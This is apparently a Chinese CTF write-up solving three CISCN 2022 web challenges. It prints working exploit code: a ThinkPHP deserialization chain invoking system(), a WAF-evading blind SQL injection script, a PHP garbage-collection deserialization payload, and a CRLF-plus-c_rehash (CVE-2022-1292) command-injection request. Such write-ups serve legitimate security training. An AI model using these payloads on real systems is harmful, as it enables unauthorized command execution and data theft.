[CISCN 2022 初赛]ezpop
可以看到版本,那么直接上网找链子打
www.zip 查看路由,是 Index/test,然后 post 传参 a
<?php
// 保证命名空间的一致
namespace think {
// Model需要是抽象类
abstract class Model {
// 需要用到的关键字
private $lazySave = false;
private $data = [];
private $exists = false;
protected $table;
private $withAttr = [];
protected $json = [];
protected $jsonAssoc = false;
// 初始化
public function __construct($obj='') {
$this->lazySave = true;
$this->data = ['whoami'=>['whoami']];
$this->exists = true;
$this->table = $obj; // 触发__toString
$this->withAttr = ['whoami'=>['system']];
$this->json = ['whoami'];
$this->jsonAssoc = true;
}
}
}
namespace think\model {
use think\Model;
class Pivot extends Model {
}
// 实例化
$p = new Pivot(new Pivot());
echo urlencode(serialize($p));
}
ezpentest
知识点:mysql8的utf8mb4_bin应用,根据溢出报错盲注,php的GC回收机制
题目给了 waf
<?php
function safe($a) {
$r = preg_replace('/[\s,()#;*~\-]/','',$a);
$r = preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i','',$r);
return (string)$r;
}
?>
利用 case when...
代替 if(...)
,利用 like
匹配 username
和 password
,如果匹配到则 9223372036854775807+1
造成溢出,然后就会报错,浏览器会返回500,根据这个就可以进行盲注,最后利用 collate'utf8mb4_bin'
判断大小写。
import requests
import string
url = "http://1.14.71.254:28126/login.php"
list = string.ascii_letters + string.digits + '^$!_%@&'
flag = ''
for i in range(1,50):
for j in list:
if (j in '%_'):#为防止 like 把这里的 % 当做正则,所以要转义一下
j = "\\" + j
payload = f"0'||case'1'when`password`collate'utf8mb4_bin'like'{flag+j}%'then+9223372036854775807+1+''else'0'end||'"
data = {
'username':payload,
'password':123
}
r = requests.post(url,data=data)
if r.status_code == 500:
flag += j
print(flag)
break
#nssctfwabbybaboo!@$%!!
#PAssw40d_Y0u3_Never_Konwn!@!!
登录后看到一大串乱码,查看源码可以看到它所用的加密。
保存网页源码后,利用工具解密。
curl http://1.14.71.254:28943/login.php --cookie "PHPSESSID=c49750cf8b201ad00e8156ed3bb3aacf" -o ./example.php
1Nd3x_Y0u_N3v3R_Kn0W.php
<?php
session_start();
if(!isset($_SESSION['login'])){
die();
}
function Al($classname){
include $classname.".php";
}
if(isset($_REQUEST['a'])){
$c = $_REQUEST['a'];
$o = unserialize($c);
if($o === false) {
die("Error Format");
}else{
spl_autoload_register('Al');
$o = unserialize($c);
$raw = serialize($o);
if(preg_match("/Some/i",$raw)){
throw new Error("Error");
}
$o = unserialize($raw);
var_dump($o);
}
}else {
echo file_get_contents("SomeClass.php");
}
SomeClass.php 源码
<?php
class A
{
public $a;
public $b;
public function see()
{
$b = $this->b;
$checker = new ReflectionClass(get_class($b));
if(basename($checker->getFileName()) != 'SomeClass.php'){
//获取类所在文件名字
if(isset($b->a)&&isset($b->b)){
($b->a)($b->b."");
}
}
}
}
class B
{
public $a;
public $b;
public function __toString()
{
$this->a->see();
return "1";
}
}
class C
{
public $a;
public $b;
public function __toString()
{
$this->a->read();
return "lock lock read!";
}
}
class D
{
public $a;
public $b;
public function read()
{
$this->b->learn();
}
}
class E
{
public $a;
public $b;
public function __invoke()
{
$this->a = $this->b." Powered by PHP";
}
public function __destruct(){
//eval($this->a); ??? 吓得我赶紧把后门注释了
//echo "???";
die($this->a);
}
}
class F
{
public $a;
public $b;
public function __call($t1,$t2)
{
$s1 = $this->b;
$s1();
}
}
?>
链子很好构造
E::__destruct => B::__toString => A::see
但是直接序列化打,是肯定打不通的,为啥呢?
首先在 1Nd3x_Y0u_N3v3R_Kn0W.php
中,是不包含 SomeClass.php
里面的类的,怎么包含呢?
可以利用 spl_autoload_register('Al');
自动加载类,但是在后面有过滤,字符串中补不能有 Some
,也就是说我们要在 if
判断前销毁我们的反序列化对象以此提前调用 __destruct
,也就是常说的 php
的 GC
回收机制。
这边就不详细讲了,想详细了解的移步:https://www.jb51.net/article/242682.htm
简单解释就是,用一个指针指向这个对象,之后在把这个指针指向其他地方,这样这个对象,就没有任何引用和指向,就会销毁,从而调用 __destruct
$o = unserialize($c);
$raw = serialize($o);
if(preg_match("/Some/i",$raw)){
throw new Error("Error");
}
payload:
<?php
class A
{
public $a;
public $b;
}
class B
{
public $a;
public $b;
}
class E
{
public $a;
public $b;
}
class SomeClass{
public $a;
}
$e = new E();
$b = new B();
$a = new A();
$flag = new error();
$flag->a = "system";
$flag->b = "cat /nssctfflag";
$a->b = $flag;
$b->a = $a;
$e->a = $b;
$c = new SomeClass();
$c->a = $e;
echo urlencode(str_replace("i:1;", "i:0;", serialize(array($c,1))));
online_crt
知识点:CVE-2022-1292,代码审计
分析
/getcrt 路由,生成 crt
证书
@app.route('/getcrt', methods=['GET', 'POST'])
def upload():
Country = request.form.get("Country", "CN")
Province = request.form.get("Province", "a")
City = request.form.get("City", "a")
OrganizationalName = request.form.get("OrganizationalName", "a")
CommonName = request.form.get("CommonName", "a")
EmailAddress = request.form.get("EmailAddress", "a")
return get_crt(Country, Province, City, OrganizationalName, CommonName, EmailAddress)
/proxy 路由,请求头是可以控制的,也就是 CRLF,可以看到利用这个路由可以访问到内网 8887 端口,
@app.route('/proxy', methods=['GET'])
def proxy():
uri = request.form.get("uri", "/")
client = socket.socket()
client.connect(('localhost', 8887))
msg = f'''GET {uri} HTTP/1.1
Host: test_api_host
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
'''
client.send(msg.encode())
data = client.recv(2048)
client.close()
return data.decode()
然后我们再看 go
服务,可以看到 go
跑在 8887
端口上,且在 admin
函数中可以改名字,那么我们是不是可以访问 8887
端口的 /admin/rename
路由,以此调用 admin
函数来改我们的证书的名字。但是在这里面还有几个条件:
- Request.Host == “admin”,host 要为 admin
- Request.URL.RawPath !=“”,也就是路径有编码,可以把
/
改为%2f
func admin(c *gin.Context) {
staticPath := "/app/static/crt/"
oldname := c.DefaultQuery("oldname", "")
newname := c.DefaultQuery("newname", "")
if oldname == "" || newname == "" || strings.Contains(oldname, "..") || strings.Contains(newname, "..") {
c.String(500, "error")
return
}
if c.Request.URL.RawPath != "" && c.Request.Host == "admin" {
err := os.Rename(staticPath+oldname, staticPath+newname)
if err != nil {
return
}
c.String(200, newname)
return
}
c.String(200, "no")
}
......
func main() {
router := gin.Default()
router.GET("/", index)
router.GET("/admin/rename", admin)
if err := router.Run(":8887"); err != nil {
panic(err)
}
}
那么能改证书的名字有什么用呢?这时候就是 /createlink
路由下的 info
函数,调用 c_rehash
获取证书的名字来 RCE
@app.route('/createlink', methods=['GET'])
def info():
json_data = {"info": os.popen("c_rehash static/crt/ && ls static/crt/").read()}
# c_rehash 作用是让openssl在证书目录中能够找到证书。
return json.dumps(json_data)
步骤
首先:在 /proxy 路由中以 post 传 CRLF 的值。(注意 go 服务中的条件)
因为要post 传参,所以要加一个 Content-Type: application/x-www-form-urlencoded
payload:
/admin%252frename%3Foldname%3Dfd3d9ea7-7dd2-43e3-b6b3-f1fdd39c72ef.crt%26newname%3D%60echo%2520Y2F0IC8qIA%3D%3D%7Cbase64%2520--decode%7Cbash%3Eflag.txt%60.crt%20HTTP/1.1%0D%0AHost%3A%20admin%0D%0AConnection%3A%20close%0D%0A%0D%0A
然后访问 /createlink
执行命令
最后访问 /static/crt/flag.txt
,获取 flag
reference
https://haoami.github.io/2022/07/24/2022-7-24-CISCN%202022%E5%88%9D%E8%B5%9B/
https://blog.csdn.net/qq_62078839/article/details/125144431